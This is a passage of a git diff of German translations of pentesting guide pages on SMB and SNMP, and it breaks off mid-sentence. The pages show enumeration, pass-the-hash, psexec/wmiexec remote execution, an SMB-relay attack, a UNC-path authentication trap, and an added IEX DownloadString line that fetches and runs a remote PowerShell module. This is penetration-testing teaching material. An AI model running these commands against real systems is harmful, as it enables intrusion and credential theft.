ein Beispiel dafür, wie `enum4linux` verwendet werden kann, um eine vollständige Enumeration gegen ein Ziel, das durch `target_ip` angegeben ist, durchzuführen. ## Was ist NTLM @@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24 Um nach möglichen Exploits für die SMB-Version zu suchen, ist es wichtig zu wissen, welche Version verwendet wird. Wenn diese Informationen in anderen verwendeten Tools nicht angezeigt werden, können Sie: -- Das **MSF**-Hilfsmodul \_**auxiliary/scanner/smb/smb_version** verwenden +- Das **MSF**-Hilfsmodul _**auxiliary/scanner/smb/smb_version**_ verwenden - Oder dieses Skript: ```bash #!/bin/sh @@ -74,12 +74,12 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` -### **Suche nach Exploits** +### **Suche nach Exploit** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` -### **Mögliche** Anmeldeinformationen +### **Mögliche** Anmeldedaten | **Benutzername(n)** | **Häufige Passwörter** | | -------------------- | ----------------------------------------- | @@ -97,7 +97,7 @@ searchsploit microsoft smb ### SMB-Umgebungsinformationen -### Informationen beschaffen +### Informationen abrufen ```bash #Dump interesting information enum4linux -a [-u "" -p ""] @@ -121,7 +121,7 @@ rpcclient -U "username%passwd" #With creds ``` ### Benutzer, Gruppen und angemeldete Benutzer auflisten -Diese Informationen sollten bereits von enum4linux und enum4linux-ng gesammelt werden. +Diese Informationen sollten bereits von enum4linux und enum4linux-ng gesammelt worden sein. ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **Manuell Windows-Freigaben auflisten und sich mit ihnen verbinden** -Es kann sein, dass Sie eingeschränkt sind, um Freigaben des Host-Systems anzuzeigen, und wenn Sie versuchen, sie aufzulisten, scheint es, als ob es keine Freigaben gibt, mit denen Sie sich verbinden können. Daher könnte es sich lohnen, zu versuchen, manuell eine Verbindung zu einer Freigabe herzustellen. Um die Freigaben manuell aufzulisten, sollten Sie nach Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME suchen, wenn Sie eine gültige Sitzung verwenden (z. B. Null-Sitzung oder gültige Anmeldeinformationen). Diese können anzeigen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben oder ob die Freigabe überhaupt nicht existiert. +Es kann sein, dass Sie eingeschränkt sind, um Freigaben des Host-Systems anzuzeigen, und wenn Sie versuchen, sie aufzulisten, scheint es, als ob es keine Freigaben gibt, mit denen Sie sich verbinden können. Daher könnte es sich lohnen, einen Versuch zu starten, sich manuell mit einer Freigabe zu verbinden. Um die Freigaben manuell aufzulisten, sollten Sie nach Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME suchen, wenn Sie eine gültige Sitzung verwenden (z. B. Null-Sitzung oder gültige Anmeldeinformationen). Diese können anzeigen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben oder ob die Freigabe überhaupt nicht existiert. Häufige Freigabenamen für Windows-Ziele sind @@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o ### **Freigaben von Windows auflisten / ohne Drittanbieter-Tools** PowerShell -```powershell +```bash # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share @@ -298,9 +298,9 @@ Befehle: (_Informationen aus der Man-Seite von smbclient_) -### Suche nach freigegebenen Ordnern im Domänenkontext +### Suche nach freigegebenen Ordnern im Domänenbereich -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* +- [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` @@ -310,15 +310,19 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Besonders interessant von Freigaben sind die Dateien **`Registry.xml`**, da sie **Passwörter** für Benutzer enthalten können, die über Gruppenrichtlinien mit **Autologon** konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten. +Besonders interessant sind die Dateien **`Registry.xml`**, da sie **Passwörter** für Benutzer enthalten können, die über Gruppenrichtlinien mit **Autologon** konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten. + +- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares) +- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")` +- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test` > [!NOTE] -> Die **SYSVOL-Freigabe** ist für alle authentifizierten Benutzer in der Domäne **lesbar**. Dort können Sie viele verschiedene Batch-, VBScript- und PowerShell-**Skripte** **finden**.\ +> Der **SYSVOL-Freigabe** ist für alle authentifizierten Benutzer in der Domäne **lesbar**. Dort können Sie viele verschiedene Batch-, VBScript- und PowerShell-**Skripte** **finden**.\ > Sie sollten die **Skripte** darin **überprüfen**, da Sie möglicherweise sensible Informationen wie **Passwörter** **finden**. ## Registrierung lesen -Möglicherweise können Sie die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen: +Sie können möglicherweise die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -326,26 +330,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -Die **Standardkonfiguration von** einem **Samba**-Server befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** haben: +Die **Standardkonfiguration eines** **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** enthalten: -| **Einstellung** | **Beschreibung** | -| -------------------------- | ------------------------------------------------------------------ | -| `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben im aktuellen Share? | -| `read only = no` | Verhindert die Erstellung und Modifikation von Dateien? | -| `writable = yes` | Erlaubt Benutzern, Dateien zu erstellen und zu modifizieren? | -| `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts? | -| `enable privileges = yes` | Berücksichtigt Privilegien, die einem bestimmten SID zugewiesen sind? | -| `create mask = 0777` | Welche Berechtigungen müssen den neu erstellten Dateien zugewiesen werden? | -| `directory mask = 0777` | Welche Berechtigungen müssen den neu erstellten Verzeichnissen zugewiesen werden? | -| `logon script = script.sh`| Welches Skript muss beim Login des Benutzers ausgeführt werden? | -| `magic script = script.sh`| Welches Skript sollte ausgeführt werden, wenn das Skript geschlossen wird? | -| `magic output = script.out`| Wo muss die Ausgabe des magischen Skripts gespeichert werden? | +| **Einstellung** | **Beschreibung** | +| --------------------------- | ------------------------------------------------------------------ | +| `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben im aktuellen Share? | +| `read only = no` | Verhindert die Erstellung und Modifikation von Dateien? | +| `writable = yes` | Erlaubt Benutzern, Dateien zu erstellen und zu modifizieren? | +| `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts? | +| `enable privileges = yes` | Berücksichtigt Privilegien, die einem bestimmten SID zugewiesen sind? | +| `create mask = 0777` | Welche Berechtigungen müssen den neu erstellten Dateien zugewiesen werden? | +| `directory mask = 0777` | Welche Berechtigungen müssen den neu erstellten Verzeichnissen zugewiesen werden? | +| `logon script = script.sh` | Welches Skript muss beim Login des Benutzers ausgeführt werden? | +| `magic script = script.sh` | Welches Skript sollte ausgeführt werden, wenn das Skript geschlossen wird? | +| `magic output = script.out` | Wo muss die Ausgabe des magischen Skripts gespeichert werden? | Der Befehl `smbstatus` gibt Informationen über den **Server** und darüber, **wer verbunden ist**. ## Authenticate using Kerberos -Sie können sich mit **Kerberos** authentifizieren, indem Sie die Tools **smbclient** und **rpcclient** verwenden: +Sie können sich mit **Kerberos** über die Tools **smbclient** und **rpcclient** **authentifizieren**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -354,7 +358,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** verwendet, wobei **wmiexec** die **Standard**-Methode ist. Sie können angeben, welche Option Sie bevorzugen, mit dem Parameter `--exec-method`: +crackmapexec kann Befehle **ausführen**, indem es eine der Optionen **mmcexec, smbexec, atexec, wmiexec** missbraucht, wobei **wmiexec** die **Standard**-Methode ist. Sie können angeben, welche Option Sie bevorzugen, mit dem Parameter `--exec-method`: ```bash apt-get install crackmapexec @@ -378,7 +382,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) -Beide Optionen werden **einen neuen Dienst erstellen** (unter Verwendung von _\pipe\svcctl_ über SMB) auf der Opfermaschine und ihn verwenden, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei in den ADMIN$-Freigabe **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und die Argumente die Payload --**file-less technique-**- einfügen).\ +Beide Optionen **erstellen einen neuen Dienst** (unter Verwendung von _\pipe\svcctl_ über SMB) auf der Zielmaschine und nutzen ihn, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei in den ADMIN$-Freigabe **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und die Argumente die Payload --**file-less technique-**- einfügen).\ **Mehr Informationen** über [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)und [**smbexec**](../windows-hardening/ntlm/smbexec.md).\ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/ ```bash @@ -428,12 +432,12 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## SMB-Relay-Angriff -Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzungen** in einem internen Netzwerk zu **erfassen** und sie an eine **Zielmaschine** zu **relayen**. Wenn die Authentifizierung **sitzung erfolgreich ist**, werden Sie automatisch in eine **System**-**Shell** geleitet.\ +Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzungen** in einem internen Netzwerk zu **erfassen** und sie an eine **Zielmaschine** zu **relayen**. Wenn die Authentifizierung **sitzung erfolgreich ist**, werden Sie automatisch in eine **System** **Shell** geleitet.\ [**Weitere Informationen zu diesem Angriff hier.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, auf einige Inhalte über SMB zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"` +Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, auf Inhalte über SMB zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"` Dies geschieht mit den Funktionen: diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index feefe7375..fe6f88c44 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,13 +4,13 @@ ## **Port 139** -Das _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** "anzurufen". +Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft von dem Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** zu "rufen". ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Technisch wird Port 139 als 'NBT über IP' bezeichnet, während Port 445 als 'SMB über IP' identifiziert wird. Das Akronym **SMB** steht für '**Server Message Blocks**', das auch modern als **Common Internet File System (CIFS)** bekannt ist. Als Netzwerkprotokoll auf Anwendungsebene wird SMB/CIFS hauptsächlich verwendet, um den gemeinsamen Zugriff auf Dateien, Drucker, serielle Ports zu ermöglichen und verschiedene Kommunikationsformen zwischen Knoten in einem Netzwerk zu erleichtern. +Technisch gesehen wird Port 139 als 'NBT über IP' bezeichnet, während Port 445 als 'SMB über IP' identifiziert wird. Das Akronym **SMB** steht für '**Server Message Blocks**', das auch modern als **Common Internet File System (CIFS)** bekannt ist. Als Netzwerkprotokoll auf Anwendungsebene wird SMB/CIFS hauptsächlich verwendet, um den gemeinsamen Zugriff auf Dateien, Drucker, serielle Ports zu ermöglichen und verschiedene Kommunikationsformen zwischen Knoten in einem Netzwerk zu erleichtern. Zum Beispiel wird im Kontext von Windows hervorgehoben, dass SMB direkt über TCP/IP betrieben werden kann, wodurch die Notwendigkeit für NetBIOS über TCP/IP entfällt, durch die Nutzung von Port 445. Im Gegensatz dazu wird auf anderen Systemen die Verwendung von Port 139 beobachtet, was darauf hinweist, dass SMB in Verbindung mit NetBIOS über TCP/IP ausgeführt wird. ``` @@ -18,21 +18,21 @@ Zum Beispiel wird im Kontext von Windows hervorgehoben, dass SMB direkt über TC ``` ### SMB -Das **Server Message Block (SMB)** Protokoll, das im **Client-Server**-Modell arbeitet, ist dafür ausgelegt, **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Es wird hauptsächlich innerhalb der **Windows**-Betriebssystemreihe verwendet und gewährleistet die Abwärtskompatibilität, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Darüber hinaus bietet das **Samba**-Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und somit die plattformübergreifende Kommunikation über SMB erleichtert. +Das **Server Message Block (SMB)** Protokoll, das im **Client-Server**-Modell arbeitet, ist dafür ausgelegt, **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Primär innerhalb der **Windows**-Betriebssystemreihe genutzt, gewährleistet SMB die Abwärtskompatibilität, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Darüber hinaus bietet das **Samba**-Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und so die plattformübergreifende Kommunikation über SMB erleichtert. -Freigaben, die **willkürliche Teile des lokalen Dateisystems** darstellen, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die **Zugriffsrechte** definieren, ermöglichen eine **feingranulare Kontrolle** über Benutzerberechtigungen, einschließlich Attribute wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen basierend auf den Freigaben zugewiesen werden und sind von den lokalen Berechtigungen, die auf dem Server festgelegt sind, zu unterscheiden. +Freigaben, die **willkürliche Teile des lokalen Dateisystems** repräsentieren, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die **Zugriffsrechte** definieren, ermöglichen eine **feingranulare Kontrolle** über Benutzerberechtigungen, einschließlich Attribute wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen basierend auf den Freigaben zugewiesen werden und unterscheiden sich von den lokal auf dem Server festgelegten Berechtigungen. ### IPC$ Share -Der Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erfolgen, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig eingesetzt, ermöglicht es den Erwerb von: +Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erlangt werden, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig eingesetzt, ermöglicht es den Erwerb von: - Informationen über das Betriebssystem - Details zur übergeordneten Domäne - Eine Zusammenstellung lokaler Benutzer und Gruppen - Informationen über verfügbare SMB-Freigaben -- Die effektive System-Sicherheitsrichtlinie +- Die effektive Systemsicherheitsrichtlinie -Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherheitsfachleute, um die Sicherheitslage der SMB (Server Message Block) Dienste in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Überblick über die SMB-Umgebung des Zielsystems, was entscheidend ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß gesichert sind. +Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherheitsfachleute, um die Sicherheitslage der SMB (Server Message Block)-Dienste in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Überblick über die SMB-Umgebung des Zielsystems, was entscheidend ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß gesichert sind. ```bash enum4linux -a target_ip ``` @@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24 Um nach möglichen Exploits für die SMB-Version zu suchen, ist es wichtig zu wissen, welche Version verwendet wird. Wenn diese Informationen in anderen verwendeten Tools nicht angezeigt werden, können Sie: -- Das **MSF**-Hilfsmodul \_**auxiliary/scanner/smb/smb_version** verwenden +- Das **MSF** Hilfsmodul `**auxiliary/scanner/smb/smb_version**` verwenden - Oder dieses Skript: ```bash #!/bin/sh @@ -97,7 +97,7 @@ searchsploit microsoft smb ### SMB-Umgebungsinformationen -### Informationen beschaffen +### Informationen abrufen ```bash #Dump interesting information enum4linux -a [-u "" -p ""] @@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o ### **Freigaben von Windows auflisten / ohne Drittanbieter-Tools** PowerShell -```powershell +```bash # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share @@ -300,7 +300,7 @@ Befehle: ### Suche nach freigegebenen Ordnern im Domänenbereich -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* +- [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` @@ -310,15 +310,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Besonders interessant von Freigaben sind die Dateien **`Registry.xml`**, da sie **Passwörter** für Benutzer enthalten können, die über Gruppenrichtlinien mit **Autologon** konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten. +Besonders interessant sind die Dateien mit dem Namen **`Registry.xml`**, da sie **Passwörter** für Benutzer enthalten können, die über Gruppenrichtlinien mit **Autologon** konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten. > [!NOTE] -> Die **SYSVOL-Freigabe** ist für alle authentifizierten Benutzer in der Domäne **lesbar**. Dort können Sie viele verschiedene Batch-, VBScript- und PowerShell-**Skripte** **finden**.\ +> Der **SYSVOL-Freigabe** ist **lesbar** für alle authentifizierten Benutzer in der Domäne. Dort können Sie **viele** verschiedene Batch-, VBScript- und PowerShell-**Skripte** **finden**.\ > Sie sollten die **Skripte** darin **überprüfen**, da Sie möglicherweise sensible Informationen wie **Passwörter** **finden**. ## Registrierung lesen -Möglicherweise können Sie die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen: +Sie können möglicherweise die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -343,7 +343,7 @@ Die **Standardkonfiguration eines** **Samba**-Servers befindet sich normalerweis Der Befehl `smbstatus` gibt Informationen über den **Server** und darüber, **wer verbunden ist**. -## Authenticate using Kerberos +## Authentifizierung mit Kerberos Sie können sich mit **Kerberos** über die Tools **smbclient** und **rpcclient** **authentifizieren**: ```bash @@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** Methoden **missbraucht**, wobei **wmiexec** die **Standard**-Methode ist. Sie können die von Ihnen bevorzugte Option mit dem Parameter `--exec-method` angeben: +crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** Methoden **missbraucht**, wobei **wmiexec** die **Standard**-Methode ist. Sie können angeben, welche Option Sie mit dem Parameter `--exec-method` verwenden möchten: ```bash apt-get install crackmapexec @@ -388,7 +388,7 @@ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/ psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -Mit dem **Parameter** `-k` können Sie sich an **Kerberos** anstelle von **NTLM** authentifizieren. +Mit dem **Parameter** `-k` können Sie sich gegen **Kerberos** anstelle von **NTLM** authentifizieren. ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec @@ -400,7 +400,7 @@ In **Kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/ ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -Mit dem **Parameter** `-k` können Sie sich gegen **Kerberos** anstelle von **NTLM** authentifizieren. +Mit dem **Parameter** `-k` können Sie sich an **Kerberos** anstelle von **NTLM** authentifizieren. ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -433,7 +433,7 @@ Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzu ## SMB-Trap -Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, auf Inhalte über SMB zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"` +Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, über SMB auf einige Inhalte zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"` Dies geschieht mit den Funktionen: diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index 01bb1e663..2b030a148 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -14,20 +14,20 @@ PORT STATE SERVICE REASON VERSION ### MIB -Um sicherzustellen, dass der SNMP-Zugriff herstellerübergreifend und mit verschiedenen Client-Server-Kombinationen funktioniert, wurde die **Management Information Base (MIB)** erstellt. MIB ist ein **unabhängiges Format zur Speicherung von Geräteinformationen**. Eine MIB ist eine **Text**-Datei, in der alle abfragbaren **SNMP-Objekte** eines Geräts in einer **standardisierten** Baumhierarchie aufgeführt sind. Sie enthält mindestens einen `Object Identifier` (`OID`), der neben der notwendigen **eindeutigen Adresse** und einem **Namen** auch Informationen über den Typ, die Zugriffsrechte und eine Beschreibung des jeweiligen Objekts bereitstellt.\ -MIB-Dateien sind im `Abstract Syntax Notation One` (`ASN.1`) basierten ASCII-Textformat geschrieben. Die **MIBs enthalten keine Daten**, sondern erklären **wo man welche Informationen findet** und wie sie aussehen, welche Rückgabewerte für die spezifische OID zurückgegeben werden oder welcher Datentyp verwendet wird. +Um sicherzustellen, dass der SNMP-Zugriff herstellerübergreifend und mit verschiedenen Client-Server-Kombinationen funktioniert, wurde die **Management Information Base (MIB)** erstellt. MIB ist ein **unabhängiges Format zur Speicherung von Geräteinformationen**. Eine MIB ist eine **Text**-Datei, in der alle abfragbaren **SNMP-Objekte** eines Geräts in einer **standardisierten** Baumhierarchie aufgelistet sind. Sie enthält mindestens einen `Object Identifier` (`OID`), der neben der notwendigen **eindeutigen Adresse** und einem **Namen** auch Informationen über den Typ, die Zugriffsrechte und eine Beschreibung des jeweiligen Objekts bereitstellt.\ +MIB-Dateien sind im `Abstract Syntax Notation One` (`ASN.1`) basierten ASCII-Textformat geschrieben. Die **MIBs enthalten keine Daten**, sondern erklären **wo welche Informationen zu finden sind** und wie sie aussehen, welche Werte für die spezifische OID zurückgegeben werden oder welcher Datentyp verwendet wird. ### OIDs **Object Identifiers (OIDs)** spielen eine entscheidende Rolle. Diese eindeutigen Identifikatoren sind dafür ausgelegt, Objekte innerhalb einer **Management Information Base (MIB)** zu verwalten. -Die höchsten Ebenen der MIB-Objekt-IDs oder OIDs sind verschiedenen standardsetzenden Organisationen zugewiesen. Innerhalb dieser obersten Ebenen wird der Rahmen für globale Managementpraktiken und -standards festgelegt. +Die höchsten Ebenen der MIB-Objekt-IDs oder OIDs sind verschiedenen standardsetzenden Organisationen zugewiesen. Innerhalb dieser obersten Ebenen wird der Rahmen für globale Managementpraktiken und Standards festgelegt. Darüber hinaus haben Anbieter die Freiheit, private Zweige zu schaffen. Innerhalb dieser Zweige haben sie die **Autonomie, verwaltete Objekte, die für ihre eigenen Produktlinien relevant sind, einzuschließen**. Dieses System stellt sicher, dass es eine strukturierte und organisierte Methode zur Identifizierung und Verwaltung einer Vielzahl von Objekten über verschiedene Anbieter und Standards hinweg gibt. ![](<../../images/SNMP_OID_MIB_Tree (1).png>) -Sie können durch einen **OID-Baum** hier im Web navigieren: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) oder **sehen, was ein OID bedeutet** (wie `1.3.6.1.2.1.1`), indem Sie [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) aufrufen.\ +Sie können durch einen **OID-Baum** hier im Web navigieren: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) oder **sehen, was eine OID bedeutet** (wie `1.3.6.1.2.1.1`), indem Sie [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) aufrufen.\ Es gibt einige **bekannte OIDs**, wie die innerhalb von [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), die auf die MIB-2 definierten Simple Network Management Protocol (SNMP) Variablen verweisen. Und von den **OIDs, die von dieser stammen**, können Sie einige interessante Hostdaten (Systemdaten, Netzwerkdaten, Prozessdaten...) erhalten. ### **OID Beispiel** @@ -38,7 +38,7 @@ Es gibt einige **bekannte OIDs**, wie die innerhalb von [1.3.6.1.2.1](http://oid Hier ist eine Aufschlüsselung dieser Adresse. -- 1 – dies wird als ISO bezeichnet und stellt fest, dass dies ein OID ist. Deshalb beginnen alle OIDs mit „1“. +- 1 – dies wird als ISO bezeichnet und stellt fest, dass dies eine OID ist. Deshalb beginnen alle OIDs mit „1“. - 3 – dies wird als ORG bezeichnet und wird verwendet, um die Organisation anzugeben, die das Gerät gebaut hat. - 6 – dies ist das dod oder das Department of Defense, das die Organisation ist, die das Internet zuerst etabliert hat. - 1 – dies ist der Wert des Internets, um anzuzeigen, dass alle Kommunikationen über das Internet stattfinden. @@ -47,10 +47,10 @@ Hier ist eine Aufschlüsselung dieser Adresse. Diese ersten sechs Werte sind für alle Geräte gleich und geben Ihnen die grundlegenden Informationen über sie. Diese 